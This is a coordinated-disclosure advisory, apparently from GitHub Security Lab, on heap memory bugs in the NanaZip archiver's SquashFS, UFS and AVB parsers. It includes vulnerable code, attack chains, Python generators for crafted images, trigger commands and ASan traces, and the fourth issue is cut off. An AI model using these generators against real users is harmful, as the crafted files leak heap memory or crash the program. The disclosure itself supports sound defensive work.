Coordinated Disclosure Timeline

Summary

The NanaZip project contains multiple security vulnerabilities, including out-of-bounds (OOB) reads and writes in various file systems (SquashFS, UFS, AVB), null pointer dereference, stack exhaustion, divide-by-zero errors, and unbounded memory allocation, which could lead to potential exploitation or application instability.

Project

NanaZip

Tested Version

v6.0.1650.0

Details

issue 1: Heap out-of-bounds read in NanaZip SquashFS LZ4 decompressor via unchecked negative return value (GHSL-2026-124)

A heap out-of-bounds read exists in the SquashFS LZ4 decompression wrapper in NanaZip. The Lz4Decode function only rejects a return value of zero from LZ4_decompress_safe, but that function returns negative values on error. The negative return is assigned to an unsigned SizeT, producing a huge value (~2⁶⁴) that propagates through the decompression pipeline, ultimately allowing an attacker-controlled memcpy to read past the end of a heap buffer during fragment extraction. This enables information disclosure (heap contents leak into extracted files) or a process crash.

The Lz4Decode wrapper (lines 1138–1151, 7-Zip ZS Modification) calls LZ4_decompress_safe and only rejects a return value of zero:

static HRESULT Lz4Decode(Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen)
{
  const char *Src = (const char *)src;
  char *Dst = (char *)dest;
  int compressedSize = (int)*srcLen;
  int dstCapacity = (int)*destLen;
  int rv = LZ4_decompress_safe(Src, Dst, compressedSize, dstCapacity);
  if (rv == 0)          // ← BUG: only rejects 0, not negative values
    return S_FALSE;

  *destLen = rv;        // ← negative int → huge SizeT (e.g. 0xFFFFFFFFFFFFFFFF)
  return S_OK;
}

Per the LZ4 API contract, LZ4_decompress_safe returns:

The wrapper also never writes back to *srcLen, so the caller’s “all input consumed” sanity check (inSize != srcLen at line 1370) is always satisfied for LZ4.

Propagation through Decompress

In the outBuf code path (used by ReadBlock), after Lz4Decode returns S_OK with a huge destLen (line 1375):

*outBufWasWrittenSize = (UInt32)destLen;    // truncates to 0xFFFFFFFF

Sink: ReadBlock fragment extraction

Lines 2241–2261:

_cachedUnpackBlockSize = outBufWasWrittenSize;  // = 0xFFFFFFFF

// Later, during fragment read:
offsetInBlock = node.Offset;                    // attacker-controlled, from inode
if (offsetInBlock + blockSize > _cachedUnpackBlockSize)   // passes: anything ≤ 0xFFFFFFFF
  return S_FALSE;
memcpy(dest, _cachedBlock + offsetInBlock, blockSize);    // OOB read

_cachedBlock is allocated at _h.BlockSize bytes (≤ 2²³ = 8 MiB, clamped at line 271). The attacker controls offsetInBlock via the on-disk inode Offset field (CNode::Parse4, line 730), so they can read from any offset past _cachedBlock up to the 0xFFFFFFFF boundary. The read data is returned as the extracted file contents — an information-disclosure primitive that leaks adjacent heap memory.

Attack chain

  1. Attacker crafts a SquashFS image with compressor = LZ4 (method 5)
  2. One fragment’s compressed payload is malformed so LZ4_decompress_safe returns negative
  3. A regular-file inode references that fragment with Offset = N (attacker-chosen, up to 2³²)
  4. Victim extracts the file in NanaZip
  5. memcpy(dest, _cachedBlock + N, fileSize) reads fileSize bytes starting at offset N past the 8 MiB cache buffer → heap contents appear in the extracted file

Impact

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L — 7.1 (High)

The high confidentiality impact reflects attacker-controlled heap read offset (up to 2³²) with data flowing into extracted files.

Affected versions: All NanaZip releases shipping the SquashFS handler with enabled LZ4 support (inherited from 7-Zip ZS).

Why stock 7-Zip is not affected

The Lz4Decode function and the kMethod_LZ4 define are both inside // **************** 7-Zip ZS Modification Start/End **************** markers. In upstream 7-Zip, kMethod_LZ4 is commented out (line 76: // #define kMethod_LZ4 5), so the LZ4 code path is dead code. NanaZip inherited the LZ4 support from 7-Zip ZS.

CWEs

Resources

PoC generator:

A 325-byte crafted SquashFS image with LZ4 compression triggers the vulnerability during extraction.

#!/usr/bin/env python3
"""Generate a SquashFS v4.0 image with LZ4 compression and a malformed
fragment block that causes LZ4_decompress_safe to return negative,
triggering the Lz4Decode bug"""

import sys
import struct

class Inode:
    def __init__(self):
        self.type = b''
        self.mode = b''
        self.uid = b''
        self.gid = b''
        self.mtime = b''
        self.inode_number = b''

    def to_bytes(self):
        return self.type + self.mode + self.uid + self.gid + self.mtime + self.inode_number

class InodeDirectory(Inode):
    def __init__(self):
        self.block_index = b''
        self.link_count = b''
        self.size = b''
        self.block_offset = b''
        self.parent_inode = b''

    def to_bytes(self):
        return super().to_bytes() + self.block_index + self.link_count + self.size + self.block_offset + self.parent_inode

class InodeFile(Inode):
    def __init__(self):
        self.block_start = b''
        self.frag_index = b''
        self.block_offset = b''
        self.file_size = b''

    def to_bytes(self):
        return super().to_bytes() + self.block_start + self.frag_index + self.block_offset + self.file_size

class DirEntry:
    def __init__(self):
        self.offset = b''
        self.inode_offset = b''
        self.inode_type = b''
        self.name_len = b''
        self.name = b''

    def to_bytes(self):
        return self.offset + self.inode_offset + self.inode_type + self.name_len + self.name

class Level:
    def __init__(self):
        self.count = b''
        self.start = b''
        self.inode_number = b''
        self.entries = []

    def to_bytes(self):
        return self.count + self.start + self.inode_number + b''.join([e.to_bytes() for e in self.entries])

    def add_entry(self, entry):
        self.entries.append(entry)

def node_offset(inodes, index):
    offset = 0
    for i in range(index):
        offset += len(inodes[i].to_bytes())
    return offset

block_size = 8192
block_log = 13
mkfs_time = 1731081379
flags = 451       # UNCOMPRESSED_FRAGMENTS bit cleared
compression = 5   # LZ4 (kMethod_LZ4)
fragments = 1
no_ids = 1

levels = []
level = Level()
entry = DirEntry()
entry.offset = b'\x00\x00'
entry.inode_offset = b'\x00\x00'
entry.inode_type = b'\x02\x00'
entry.name_len = struct.pack('<H', 0)
entry.name = b'\x63'
level.add_entry(entry)
level.count = struct.pack('<I', 0)
level.start = b'\x00\x00\x00\x00'
level.inode_number = b'\x03\x00\x00\x00'
levels.append(level)

level = Level()
entry = DirEntry()
entry.offset = b'\x00\x00'
entry.inode_offset = b'\x01\x00'
entry.inode_type = b'\x01\x00'
entry.name_len = struct.pack('<H', 1)
entry.name = b'\x62\x62'
level.add_entry(entry)
level.count = struct.pack('<I', 0)
level.start = b'\x00\x00\x00\x00'
level.inode_number = b'\x01\x00\x00\x00'
levels.append(level)

inodes = []

# File inode: frag=0, offset=0x4000 (past BlockSize!), size=4
inode = InodeFile()
inode.type = b'\x02\x00'
inode.mode = b'\xb4\x01'
inode.uid = b'\x00\x00'
inode.gid = b'\x00\x00'
inode.mtime = b'\x40\xcd\x04\x67'
inode.inode_number = b'\x03\x00\x00\x00'
inode.block_start = b'\x00\x00\x00\x00'
inode.frag_index = b'\x00\x00\x00\x00'    # fragment 0
inode.block_offset = b'\x00\x40\x00\x00'  # offset 0x4000 — OOB trigger
inode.file_size = b'\x04\x00\x00\x00'     # 4 bytes
inodes.append(inode)

inode = InodeDirectory()
inode.type = b'\x01\x00'
inode.mode = b'\xfd\x01'
inode.uid = b'\x00\x00'
inode.gid = b'\x00\x00'
inode.mtime = b'\x42\xcd\x04\x67'
inode.inode_number = b'\x02\x00\x00\x00'
inode.block_index = b'\x00\x00\x00\x00'
inode.link_count = b'\x02\x00\x00\x00'
inode.size = b'\x00\x00'
inode.block_offset = b'\x00\x00'
inode.parent_inode = b'\x04\x00\x00\x00'
inodes.append(inode)

root_inode = sum(len(item.to_bytes()) for item in inodes)

inode = InodeDirectory()
inode.type = b'\x01\x00'
inode.mode = b'\xfd\x01'
inode.uid = b'\x00\x00'
inode.gid = b'\x00\x00'
inode.mtime = b'\x07\xcd\x04\x67'
inode.inode_number = b'\x04\x00\x00\x00'
inode.block_index = b'\x00\x00\x00\x00'
inode.link_count = b'\x03\x00\x00\x00'
inode.size = b'\x00\x00'
inode.block_offset = b'\x00\x00'
inode.parent_inode = b'\x05\x00\x00\x00'
inodes.append(inode)

inodes[1].size = struct.pack('<H', len(levels[0].to_bytes()) + 3)
inodes[2].size = struct.pack('<H', len(levels[1].to_bytes()) + 3)
inodes[2].block_offset = struct.pack('<H', len(levels[0].to_bytes()))

inode_table = b''.join(item.to_bytes() for item in inodes)
inode_table = struct.pack('<H', len(inode_table) | 1 << 15) + inode_table

levels[0].entries[0].offset = struct.pack('<H', node_offset(inodes, 0))
levels[1].entries[0].offset = struct.pack('<H', node_offset(inodes, 1))
directory_table = b''.join(l.to_bytes() for l in levels)
directory_table = struct.pack('<H', len(directory_table) | 1 << 15) + directory_table

# Malformed LZ4 fragment: causes LZ4_decompress_safe to return negative
fragment_data = b'\xFF\xFF\xFF\xFF'
fragment_data_offset = 96

fragment_table = struct.pack('<Q', fragment_data_offset)
fragment_table += struct.pack('<I', len(fragment_data))
fragment_table += b'\x00\x00\x00\x00'
fragment_table = struct.pack('<H', len(fragment_table) | 1 << 15) + fragment_table

export_table = (b'\x20\x80\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00'
                b'\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x60\x00\x00\x00\x00\x00'
                b'\x00\x00\x35\x01\x00\x00\x00\x00\x00\x00')

id_table_pre = b'\xe8\x03\x00\x00'
id_table_pre = struct.pack('<H', len(id_table_pre) | 1 << 15) + id_table_pre

it_start = 96 + len(fragment_data)
dt_start = it_start + len(inode_table)
ft_start = dt_start + len(directory_table)
fi_start = ft_start + len(fragment_table)
lk_start = fi_start + len(export_table)
fi_idx = struct.pack('<Q', ft_start)
ip_start = lk_start + len(fi_idx)
id_start = ip_start + len(id_table_pre)
bytes_used = id_start + no_ids * 8

out = sys.stdout.buffer if len(sys.argv) < 2 else open(sys.argv[1], 'wb')
out.write(b'hsqs')
out.write(struct.pack('<I', len(inodes)))
out.write(struct.pack('<I', mkfs_time))
out.write(struct.pack('<I', block_size))
out.write(struct.pack('<I', fragments))
out.write(struct.pack('<H', compression))
out.write(struct.pack('<H', block_log))
out.write(struct.pack('<H', flags))
out.write(struct.pack('<H', no_ids))
out.write(struct.pack('<HH', 4, 0))
out.write(struct.pack('<Q', root_inode))
out.write(struct.pack('<Q', bytes_used))
out.write(struct.pack('<Q', id_start))
out.write(struct.pack('<Q', 0xFFFFFFFFFFFFFFFF))
out.write(struct.pack('<Q', it_start))
out.write(struct.pack('<Q', dt_start))
out.write(struct.pack('<Q', fi_start))
out.write(struct.pack('<Q', lk_start))
out.write(fragment_data)
out.write(inode_table)
out.write(directory_table)
out.write(fragment_table)
out.write(fi_idx)
out.write(export_table)
out.write(id_table_pre)
out.write(struct.pack('<Q', ip_start))
if out is not sys.stdout.buffer:
    out.close()
    print(f"Written {bytes_used} bytes to {sys.argv[1]}")

Triggering:

python gen_squashfs_lz4_poc.py poc_sfs_lz4.sfs
NanaZip.Universal.Console.exe x poc_sfs_lz4.sfs -oOutput -y

Verification

ASan-confirmed. The PoC triggers a heap-buffer-overflow on extraction:

==33996==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x119c39ea6900
  at pc 0x7ffcfc2e64b7 bp 0x001cfafbd980 sp 0x001cfafbd110
READ of size 4 at 0x119c39ea6900 thread T0
    #0 _asan_memcpy   clang_rt.asan_dynamic-x86_64.dll
    #1 NArchive::NSquashfs::CHandler::ReadBlock
        SquashfsHandler.cpp:2261
    #2 NArchive::NSquashfs::CSquashfsInStream::ReadBlock
        SquashfsHandler.cpp:2194
    #3 CCachedInStream::Read   StreamObjects.cpp:250
    #4 NCompress::CCopyCoder::Code   CopyCoder.cpp:63
    #5 NArchive::NSquashfs::CHandler::Extract
        SquashfsHandler.cpp:2341

Address is a wild pointer inside of access range of size 0x4.
SUMMARY: AddressSanitizer: heap-buffer-overflow
  SquashfsHandler.cpp:2261 in NArchive::NSquashfs::CHandler::ReadBlock

Debugger-confirmed intermediate state: Tracing with cdb shows Decompress returns S_OK with outBufWasWrittenSize = 0xFFFFFFFE (from LZ4_decompress_safe returning -2, cast to UInt32 via SizeT). This causes _cachedUnpackBlockSize = 0xFFFFFFFE, which passes the bounds check at line 2259 (offsetInBlock + blockSize > _cachedUnpackBlockSize). The subsequent memcpy at line 2261 reads 4 bytes at offset 0x4000 past the 8192-byte _cachedBlock allocation — a heap-buffer-overflow.

Verification status

Method Result
ASan console extract heap-buffer-overflow at SquashfsHandler.cpp:2261
cdb Debug build trace outBufWasWrittenSize = 0xFFFFFFFE confirmed
Source review Lz4Decode returns S_OK for negative LZ4_decompress_safe return

issue 2: Heap out-of-bounds write in NanaZip UFS directory parser (GHSL-2026-125)

A one-byte heap out-of-bounds null write exists in the UFS/UFS2 filesystem image parser in NanaZip. The vulnerability is triggered when opening a crafted UFS filesystem image. The attacker controls the byte offset of the write within a ~254-byte window past the heap allocation boundary.

The function GetAllPaths in NanaZip.Codecs.Archive.Ufs.cpp parses UFS directory blocks by iterating over variable-length struct direct entries. Each entry has a d_reclen (record length) and d_namlen (name length) field. The code null-terminates the name at d_name[NameLength] without verifying that offsetof(d_name) + NameLength + 1 fits within the record or within the allocated buffer.

The directory data buffer is allocated as std::vector<std::uint8_t> Buffer(ActualSize) where ActualSize = BlockOffsetsCount * BlockSize. The parsing loop uses EndOffset = Information.FileSize as the iteration bound. When FileSize equals ActualSize (which occurs whenever the inode’s file size is a multiple of the block size), the buffer has no trailing slack bytes — making the out-of-bounds write reach into adjacent heap allocations.

Three validation checks exist but are insufficient:

// NanaZip.Codecs.Archive.Ufs.cpp — GetAllPaths()

// Check 1 (line 612): only ensures 9 bytes remain for the entry header
if (EndOffset < CurrentOffset + MinimumDirectoryEntrySize)
    return false;

// Check 2 (lines 623-624): bounds RecordLength against EndOffset
std::uint16_t RecordLength = this->ReadUInt16(&Current->d_reclen);
if (MinimumDirectoryEntrySize > RecordLength ||
    EndOffset < CurrentOffset + RecordLength)
    return false;

// Check 3 (line 631): bounds NameLength against UFS_MAXNAMLEN (255)
std::uint8_t NameLength = this->ReadUInt8(&Current->d_namlen);
if (UFS_MAXNAMLEN < NameLength)
    return false;

// Line 636 — VULNERABLE WRITE: no check that d_name + NameLength is in bounds
Current->d_name[NameLength] = '\0';

Source: NanaZip.Codecs.Archive.Ufs.cpp:605-636

Missing check: Neither offsetof(d_name) + NameLength + 1 <= RecordLength (the canonical UFS invariant, matching how FreeBSD validates d_namlen) nor CurrentOffset + offsetof(d_name) + NameLength < Buffer.size() is verified before the write.

Worst-case out-of-bounds offset

A crafted image can place a directory entry at CurrentOffset = EndOffset - 9 with d_reclen = 9 (minimum valid) and d_namlen = 255 (maximum allowed). The null-terminator write then targets:

Buffer[(EndOffset - 9) + 8 + 255] = Buffer[EndOffset + 254]

When EndOffset == Buffer.size(), this writes a 0x00 byte 254 bytes past the end of the heap allocation. The exact offset within the 0..254 byte window is attacker-controlled via NameLength and the position of the malicious entry.

Struct layout

The struct direct definition from FreeBSD/dir.h:80-87:

#define UFS_MAXNAMLEN 255

struct direct {
    uint32_t d_ino;                     /* +0: inode number */
    uint16_t d_reclen;                  /* +4: record length */
    uint8_t  d_type;                    /* +6: file type */
    uint8_t  d_namlen;                  /* +7: name length */
    char     d_name[UFS_MAXNAMLEN + 1]; /* +8: name (256 bytes) */
};

offsetof(direct, d_name) == 8. The code writes at Buffer[CurrentOffset + 8 + NameLength], which can exceed both the record and the buffer.

Impact

This vulnerability allows an attacker to write a single null byte at a controlled offset (0 to 254 bytes) past a heap buffer allocation in the NanaZip process.

Mitigations in place

NanaZip enables several Win32 exploit mitigations (CFG, CET shadow stack, no-remote-images, child-process restriction, dynamic-code restriction) that raise the bar for converting a single-byte heap OOB into code execution, but they do not prevent the heap corruption itself.

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L — 5.4 (Medium)

Affected versions: Since 5.0.1250.0 (2025-02-01), the first release shipping the UFS handler.

CWEs

Resources

PoC generator:

A crafted 128 KiB UFS1 filesystem image triggers the vulnerability. The image contains:

  1. A UFS1 superblock at offset 8192 with fs_magic = 0x011954, fs_bsize = 4096
  2. A root directory inode (inode 2) with di_size = 4096 (equal to block size → no buffer slack) and one direct block pointer
  3. A directory data block with two entries:
    • Entry 1 at offset 0: ".", d_reclen = 4087 (filler to advance the loop)
    • Entry 2 at offset 4087: d_reclen = 9, d_namlen = 255 (triggers OOB write at Buffer[4350], 254 bytes past the 4096-byte allocation)

Image generator

#!/usr/bin/env python3
"""Generate a crafted UFS1 image."""

import struct, os

FS_UFS1_MAGIC = 0x011954
SBLOCK_UFS1, SBLOCKSIZE, BLOCK_SIZE = 8192, 8192, 4096
UFS_ROOTINO, IFDIR, DT_DIR = 2, 0o040000, 4
IMAGE_SIZE = 128 * 1024

def w16(buf, off, v): struct.pack_into('<H', buf, off, v)
def w32(buf, off, v): struct.pack_into('<i', buf, off, v)
def wu32(buf, off, v): struct.pack_into('<I', buf, off, v)
def w64(buf, off, v): struct.pack_into('<q', buf, off, v)
def wu64(buf, off, v): struct.pack_into('<Q', buf, off, v)

img = bytearray(IMAGE_SIZE)
sb = SBLOCK_UFS1

# Superblock
w32(img, sb+16, 4)          # fs_iblkno
w32(img, sb+40, 100)        # fs_old_dsize
wu32(img, sb+44, 1)         # fs_ncg
w32(img, sb+48, BLOCK_SIZE) # fs_bsize
w32(img, sb+52, BLOCK_SIZE) # fs_fsize
w32(img, sb+56, 1)          # fs_frag
w32(img, sb+104, SBLOCKSIZE)# fs_sbsize
wu32(img, sb+184, 16)       # fs_ipg
w32(img, sb+188, 100)       # fs_fpg
w64(img, sb+1000, SBLOCK_UFS1) # fs_sblockloc
w32(img, sb+1320, 60)       # fs_maxsymlinklen
w32(img, sb+1372, FS_UFS1_MAGIC)

# Root inode at offset 16640
ri = 4 * BLOCK_SIZE + UFS_ROOTINO * 128
w16(img, ri, IFDIR | 0o755) # di_mode
w16(img, ri+2, 2)           # di_nlink
wu64(img, ri+8, BLOCK_SIZE) # di_size == BlockSize (no slack!)
w32(img, ri+40, 8)          # di_db[0] → fragment 8

# Directory data at offset 32768
dd = 8 * BLOCK_SIZE
wu32(img, dd, UFS_ROOTINO)  # entry 1: d_ino
w16(img, dd+4, 4087)        # entry 1: d_reclen (skip to offset 4087)
img[dd+6] = DT_DIR;  img[dd+7] = 1;  img[dd+8] = ord('.')

mal = dd + 4087             # entry 2: malicious
wu32(img, mal, 3)           # d_ino
w16(img, mal+4, 9)          # d_reclen = 9 (minimum)
img[mal+6] = 0              # d_type
img[mal+7] = 255            # d_namlen = 255 (maximum)
img[mal+8] = ord('X')       # d_name[0]

with open('poc_ufs_directory.img', 'wb') as f:
    f.write(img)

Triggering:

NanaZip.Universal.Console.exe l poc_ufs_directory.img

Verification

When NanaZip is compiled with AddressSanitizer (/p:EnableASAN=true):

=================================================================
==35904==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x117f1c5a761e
  at pc 0x7ffc8aae7c3a bp 0x00291d95ca70 sp 0x00291d95ca70
WRITE of size 1 at 0x117f1c5a761e thread T0
    #0 NanaZip::Codecs::Archive::Ufs::GetAllPaths
        NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:636
    #1 NanaZip::Codecs::Archive::Ufs::Open
        NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:794
    #2 CArc::OpenStream2   OpenArchive.cpp:1978
    #3 CArc::OpenStream    OpenArchive.cpp:3027
    #4 CArc::OpenStreamOrFile  OpenArchive.cpp:3122
    #5 CArchiveLink::Open      OpenArchive.cpp:3298
    #6 CArchiveLink::Open2     OpenArchive.cpp:3422
    #7 ListArchives            List.cpp:1191
    #8 Main2                   Main.cpp:1568
    #9 main                    MainAr.cpp:170

0x117f1c5a761e is located 247 bytes after 4135-byte region
  [0x117f1c5a6500,0x117f1c5a7527)
allocated by thread T0 here:
    #0 operator new  asan_win_new_scalar_thunk.cpp:40
    #1 std::vector<unsigned char>::vector
        NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:590

SUMMARY: AddressSanitizer: heap-buffer-overflow
  NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:636
  in NanaZip::Codecs::Archive::Ufs::GetAllPaths

issue 3: Heap out-of-bounds read in NanaZip AVB property descriptor parser via unsigned integer underflow (GHSL-2026-126)

A heap out-of-bounds read exists in the Android Verified Boot (AVB) vbmeta image parser in NanaZip (via the upstream 7-Zip AvbHandler). An unsigned integer underflow in a bounds check allows an attacker-controlled value_num_bytes field to pass validation, causing AddNameToString to read up to ~4 GiB past the end of a 64 KiB heap buffer. This causes a crash (denial of service) when opening a crafted .avb or .img file.

The function CHandler::Open2 parses AVB descriptors from a vbmeta block. For property descriptors (AVB_DESCRIPTOR_TAG_PROPERTY), it reads attacker-controlled key_num_bytes and value_num_bytes fields (both UInt64, big-endian) and validates them against the descriptor’s descSize (unsigned).

The first bounds check (for the key) is safe. The second bounds check (for the value) contains an unsigned integer underflow (lines 430–451):

else if (desc.Tag == AVB_DESCRIPTOR_TAG_PROPERTY)
{
  if (descSize < k_PropertyDescriptor_Size_Min + 2)   // descSize >= 18
    return S_FALSE;
  AvbPropertyDescriptor pt;
  pt.Parse(buf + offset);
  unsigned pos = k_PropertyDescriptor_Size_Min;       // pos = 16

  // CHECK 1 (line 438): Safe — descSize-17 >= 1, no underflow
  if (pt.key_num_bytes > descSize - pos - 1)
    return S_FALSE;
  AString key;
  AddNameToString(key, buf + offset + pos, (unsigned)pt.key_num_bytes, false);
  pos += (unsigned)pt.key_num_bytes + 1;              // pos can reach descSize

  // CHECK 2 (line 444): Only rejects pos > descSize, allows pos == descSize
  if (descSize < pos)
    return S_FALSE;

  // CHECK 3 (line 446): UNDERFLOW when pos == descSize
  if (pt.value_num_bytes > descSize - pos - 1)        // 0u - 1 = 0xFFFFFFFF
    return S_FALSE;

  // OOB READ: size ≈ 4 GiB, starting at end of descriptor
  AString value;
  AddNameToString(value, buf + offset + pos, (unsigned)pt.value_num_bytes, false);

Exploit chain

  1. Attacker sets desc.Size = S where 18 ≤ S ≤ rem (e.g., S = 18).
  2. Attacker sets key_num_bytes = S - 17 (maximum value passing the line 438 check).
  3. After key consumption: pos = 16 + (S - 17) + 1 = S = descSize.
  4. Line 444: descSize < posS < Sfalse (equality not rejected).
  5. Line 446: descSize - pos - 1 = S - S - 1 = 0u - 1 = 0xFFFFFFFF (unsigned underflow).
  6. Attacker sets value_num_bytes = 0xFFFFFFFE0xFFFFFFFE ≤ 0xFFFFFFFF → check passes.
  7. AddNameToString reads size ≈ 4 GiB starting at buf + offset + descSize (past the descriptor, into adjacent heap memory).

Reachable memory

The buf buffer is allocated to exactly Footer.vbmeta_size, capped to VBMETA_MAX_SIZE = 64 KiB. AddNameToString iterates byte-by-byte, copying each byte into an AString until it hits a NUL byte or exhausts the size parameter:

static void AddNameToString(AString &s, const Byte *name, unsigned size, ...)
{
  for (unsigned i = 0; i < size; i++)
  {
    Byte c = name[i];
    if (c == 0) return;
    // ...
    s += (char)c;
  }
}

With size ≈ 4 GiB and the buffer being only 64 KiB, the read deterministically walks past the heap allocation and across unmapped pages, causing an access violation.

Impact

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L — 5.4 (Medium)

Affected versions: Since 3.0.1000.0 (2024-05-27), the first release shipping the AVB handler.

Why 7-Zip is not affected

AvbHandler.cpp is upstream 7-Zip code (identical to 7-Zip 26.00) but 7-Zip deliberately excludes this handler from the shipping 7z.dll build:

NanaZip enables it by including AvbHandler.cpp in NanaZip.Core.vcxproj. The REGISTER_ARC_I_NO_SIG macro auto-activates it on compilation.

CWEs

Resources

PoC generator:

A crafted vbmeta image (~64 KiB + 64-byte footer) triggers the vulnerability:

#!/usr/bin/env python3
"""Generate a crafted AVB vbmeta image that triggers heap OOB read."""

import struct

VBMETA_MAX = 64 * 1024
FOOTER_SIZE = 64
VBMETA_HEADER_SIZE = 256

def w_be32(v): return struct.pack('>I', v)
def w_be64(v): return struct.pack('>Q', v)

# Build vbmeta block
# Layout: header(256) + desc_header(16) + prop_fields(16) + key(1) + NUL(1) = 290
vbmeta = bytearray(VBMETA_HEADER_SIZE + 16 + 16 + 1 + 1)

# AVB0 header — field offsets match AvbVBMetaImageHeader::Parse()
vbmeta[0:4] = b'AVB0'
struct.pack_into('>I', vbmeta, 4, 1)    # +4:  required_libavb_version_major = 1
struct.pack_into('>Q', vbmeta, 12, 0)   # +12: authentication_data_block_size = 0
struct.pack_into('>Q', vbmeta, 20, 0)   # +20: auxiliary_data_block_size = 0
# +28..95: algorithm_type, hash/sig/pubkey offsets = 0 (zeros)
struct.pack_into('>Q', vbmeta, 96, 0)   # +96:  descriptors_offset = 0
struct.pack_into('>Q', vbmeta, 104, 16 + 18)  # +104: descriptors_size = 34

# Descriptor at offset 256 (after vbmeta header)
desc_off = VBMETA_HEADER_SIZE
struct.pack_into('>Q', vbmeta, desc_off + 0, 0)   # Tag = PROPERTY (0)
struct.pack_into('>Q', vbmeta, desc_off + 8, 18)   # Size = 18

# Property descriptor body at desc_off + 16
prop_off = desc_off + 16
struct.pack_into('>Q', vbmeta, prop_off + 0, 1)         # key_num_bytes = 1 (= 18-17)
struct.pack_into('>Q', vbmeta, prop_off + 8, 0xFFFFFFFE) # value_num_bytes (triggers OOB)

# Key byte at prop_off+16 (offset 288), NUL separator at prop_off+17 (offset 289)
# These are within the initial bytearray — critical that no zero padding follows
vbmeta[prop_off + 16] = ord('k')  # 1 key byte
vbmeta[prop_off + 17] = 0         # NUL separator

# Fill remaining bytes with non-zero (0x41) so AddNameToString does not
# stop early at a NUL in the zero-initialized tail of the buffer.
# Fill MUST start immediately after the NUL separator (offset 290).
FILL = 512
vbmeta.extend(b'A' * FILL)

vbmeta_size = len(vbmeta)

# Build footer
footer = bytearray(FOOTER_SIZE)
footer[0:4] = b'AVBf'
struct.pack_into('>I', footer, 4, 1)              # version_major = 1
struct.pack_into('>Q', footer, 12, vbmeta_size + FOOTER_SIZE)  # original_image_size
struct.pack_into('>Q', footer, 20, 0)              # vbmeta_offset = 0
struct.pack_into('>Q', footer, 28, vbmeta_size)    # vbmeta_size

img = vbmeta + footer

with open('poc_avb_oob_read.img', 'wb') as f:
    f.write(img)

print(f'Written {len(img)}-byte image')
print(f'  vbmeta_size: {vbmeta_size}')
print(f'  Property descriptor: key_num_bytes=1, value_num_bytes=0xFFFFFFFE')
print(f'  Unsigned underflow: descSize(18) - pos(18) - 1 = 0xFFFFFFFF')

Triggering:

NanaZip.Universal.Console.exe l poc_avb_oob_read.img

Verification

Without AddressSanitizer, the OOB read may silently hit a NUL byte in adjacent heap memory and return without crashing. Use the ASan-instrumented build for reliable detection.

When NanaZip is compiled with AddressSanitizer (ReleaseAsan configuration):

==40756==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x1290343a13a2
  at pc 0x7ffc27c93542 bp 0x00813c0fc450 sp 0x00813c0fc458
READ of size 1 at 0x1290343a13a2 thread T0
    #0 NArchive::NAvb::AddNameToString
        NanaZip.Core\SevenZip\CPP\7zip\Archive\AvbHandler.cpp:37
    #1 NArchive::NAvb::CHandler::Open2
        NanaZip.Core\SevenZip\CPP\7zip\Archive\AvbHandler.cpp:449
    #2 NArchive::NAvb::CHandler::Open
        NanaZip.Core\SevenZip\CPP\7zip\Archive\AvbHandler.cpp:472

issue 4: Heap out-of-bounds read in NanaZip AVB hashtree descriptor parser via 32-bit unsigned integer overflow (GHSL-2026-127)

A heap out-of-bounds read exists in the Android Verified Boot (AVB) vbmeta image parser in NanaZip (via the upstream 7-Zip AvbHandler). A 32-bit unsigned integer overflow in the bounds check pos + ht.salt_len > descSize allows an attacker-controlled salt_len field to bypass validation, causing CByteBuffer::CopyFrom to memcpy up to ~4 GiB past the end of a 64 KiB heap buffer. This causes a deterministic crash (denial of service) when opening a crafted .avb or .img file.

Relationship to GHSL-2026-126

This vulnerability is in the same file as GHSL-2026-126 (AVB property descriptor OOB read) but in a different code path:

  GHSL-2026-126 (property) This finding (hashtree)
Descriptor type AVB_DESCRIPTOR_TAG_PROPERTY (line 430) AVB_DESCRIPTOR_TAG_HASHTREE (line 403)
Bug pattern Unsigned subtraction underflow: descSize - pos - 1 Unsigned addition overflow: pos + len wraps mod 2³²
Vulnerable check pt.value_num_bytes > descSize - pos - 1 (line 446) pos + ht.salt_len > descSize (line 417)
Primary sink AddNameToString (byte-by-byte, NUL-stopped) CByteBuffer::CopyFrommemcpy (bulk copy, not NUL-stopped)

Fixing one does not fix the other. The hashtree path has a stronger primitive because CopyFrom uses memcpy, which reads the full attacker-controlled length without stopping at NUL bytes.

The function CHandler::Open2 parses AVB descriptors from a vbmeta block. For hashtree descriptors (AVB_DESCRIPTOR_TAG_HASHTREE), it reads attacker-controlled partition_name_len, salt_len, and root_digest_len fields (all UInt32, big-endian) and validates them with bounds checks that use 32-bit unsigned addition (lines 403–429):

if (desc.Tag == AVB_DESCRIPTOR_TAG_HASHTREE)
{
  if (descSize < k_Hashtree_Size_Min)              // descSize >= 164
    return S_FALSE;
  AvbHashtreeDescriptor ht;
  ht.Parse(buf + offset);
  unsigned pos = k_Hashtree_Size_Min;              // pos = 164

  if (pos + ht.partition_name_len > descSize)      // ← 32-bit add can wrap
    return S_FALSE;
  Name.Empty();
  AddNameToString(Name, buf + offset + pos, ht.partition_name_len, false);
  pos += ht.partition_name_len;

  if (pos + ht.salt_len > descSize)                // ← 32-bit add can wrap
    return S_FALSE;
  CByteBuffer salt;
  salt.CopyFrom(buf + offset + pos, ht.salt_len);  // ← memcpy with attacker-controlled length
  pos += ht.salt_len;

  if (pos + ht.root_digest_len > descSize)         // ← 32-bit add can wrap
    return S_FALSE;
  CByteBuffer digest;
  digest.CopyFrom(buf + offset + pos, ht.root_digest_len);
  pos += ht.root_digest_len;
}

pos is declared unsigned (32-bit on MSVC x64), and each length field is UInt32. The expression pos + len performs 32-bit unsigned addition that wraps modulo 2³² before being compared to the (small) descSize.

Exploit chain (salt_len — strongest primitive)

